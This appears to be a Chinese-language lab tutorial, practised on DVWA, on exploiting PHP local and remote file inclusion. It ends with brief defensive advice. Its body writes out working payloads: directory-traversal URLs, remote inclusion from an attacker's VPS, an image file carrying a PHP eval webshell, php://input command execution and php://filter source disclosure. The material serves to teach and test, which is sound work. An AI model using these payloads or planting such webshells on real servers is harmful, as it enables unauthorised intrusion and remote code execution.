关于文件包含漏洞的一些知识点
2023-5-6 09:34:0 Author: xz.aliyun.com(查看原文) 阅读量:36 收藏

文件包含漏洞原理

通过PHP函数某些特性函数利用URL动态引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,被包含的文件可以是各种文件格式,当文件中包含恶意代码,就会形成远程命令执行或文件上传漏洞。

类型:

本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

实验环境DVWA
本地文件包含 :
(提前在当前主机(windows)创建一个phpinfo文件,linux一般我们读取/etc/passwd)

payload :http://127.0.0.1:8011/vulnerabilities/fi/?page=../../../../../../1.txt


远程文件包含:

前提是开启了 allow_url_include

1:在vps上放置一个1.txt 内容也为<?php phpinfo();?>
21.txt 目录下开启http服务 python2 -m SimpleHTTPServer 8888
3:payload: http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址:8888/1.txt

文件包含+图片马 Getshell

1: 前期准备图片马-copy photo.jpg /b + shell.txt /a shell.jpg
2: shell.txt 内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
ps:调用后会在当前目录下生成shell.php 非指定目录生成

通过文件上传上传图片马

图片马地址:http://127.0.0.1:8011/hackable/uploads/shell.jpg

本地文件包含

http://127.0.0.1:8011/vulnerabilities/fi/?page=http://127.0.0.1:8011/hackable/uploads/shell.jpg
注意:当前是在vulnerabilities/fi下的,使用我们去文件包含我们的shell.jpg会在当前路径下(vulnerabilities/fi)生成Shell.php

远程文件包含

我们将准备好的shell.jpg 图片马,放置到vps里并且启动http服务用于访问
payload: http://127.0.0.1:8011/vulnerabilities/fi/?page=http://vps地址/shell.jpg

注意:已知网站路径的情况下
在上面两个本地/远程包含漏洞利用下,我们也可修改木马内容,将木马写入到我们想要的路径下
假如:我们要写入到uploads目录下
1:重新生成一份图片马,shell.txt内容为
<?PHP fputs(fopen('E:\phpstudy_pro\WWW\DVWA-2.2.2\hackable\uploads\shell.php','w'),'<?php eval($_POST[pass])?>');?>
2copy photo.jpg /b + shell.txt /a shell2.jpg
3:用以上的利用方式去文件包含即可在指定目录下生成shell.php

PHP伪协议 php://input(用于执行PHP代码)
可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行。

allow_url_fopen : off/on
allow_url_include: on

1、写入指定的路径下
2、使用burpsuite抓包后重放

1、写入当前的路径下
2、使用burpsuite抓包后重放

php://input 命令执行

<?php system('whoami');?>

<?php phpinfo();?>

PHP伪协议 file://

在双off的情况下也可使用

allow_url_fopen off/on    (规定是否允许从远程服务器或者网站检索数据 

allow_url_includeoff/on   (规定是否允许include/require远程文件 

文件读取:

提前在D盘下创建1.txt 用于被读取
http://127.0.0.1:8011/vulnerabilities/fi/?page=file://d:\1.txt

PHP伪协议 php://filter(用于读取源码)

读取文件并进行base64编码输出,在双off的情况下也可以正常使用;

allow_url_fopen : off/on
allow_url_include: off/on

payload[1]
php://filter/convert.base64-encode/resource=../../../../../../../../../../1.txt
payload[2]
php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=../../../../../../../../../../1.txt
1:当前DVWA靶场路径E:\phpstudy_pro\WWW\DVWA-2.2.2)、我们提前在E盘E:\1.txt)创建1.txt,用于跨目录读取
2:http://127.0.0.1:8011/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=../../../../../../../../../../1.txt
3:通过base64解码读取文件内容

同样也可以多次编码的方式进行利用

防御手段:

1:可以使用 PHP 内置的安全函数,例如 realpath()  basename(),来规范化和过滤文件路径,以避免包含不安全的文件路径。
2:禁用危险的 PHP 配置选项,例如 allow_url_include  allow_url_fopen 等选项,以防止远程文件包含攻击。
3:如果必须使用用户输入的数据来包含文件,需要对用户输入进行严格的过滤和验证,以确保只允许访问安全的文件路径和内容。例如,可以使用白名单机制来限制文件路径的范围,或者对用户输入的文件名进行特定格式的验证。

文章来源: https://xz.aliyun.com/t/12506
如有侵权请联系:admin#unsafe.sh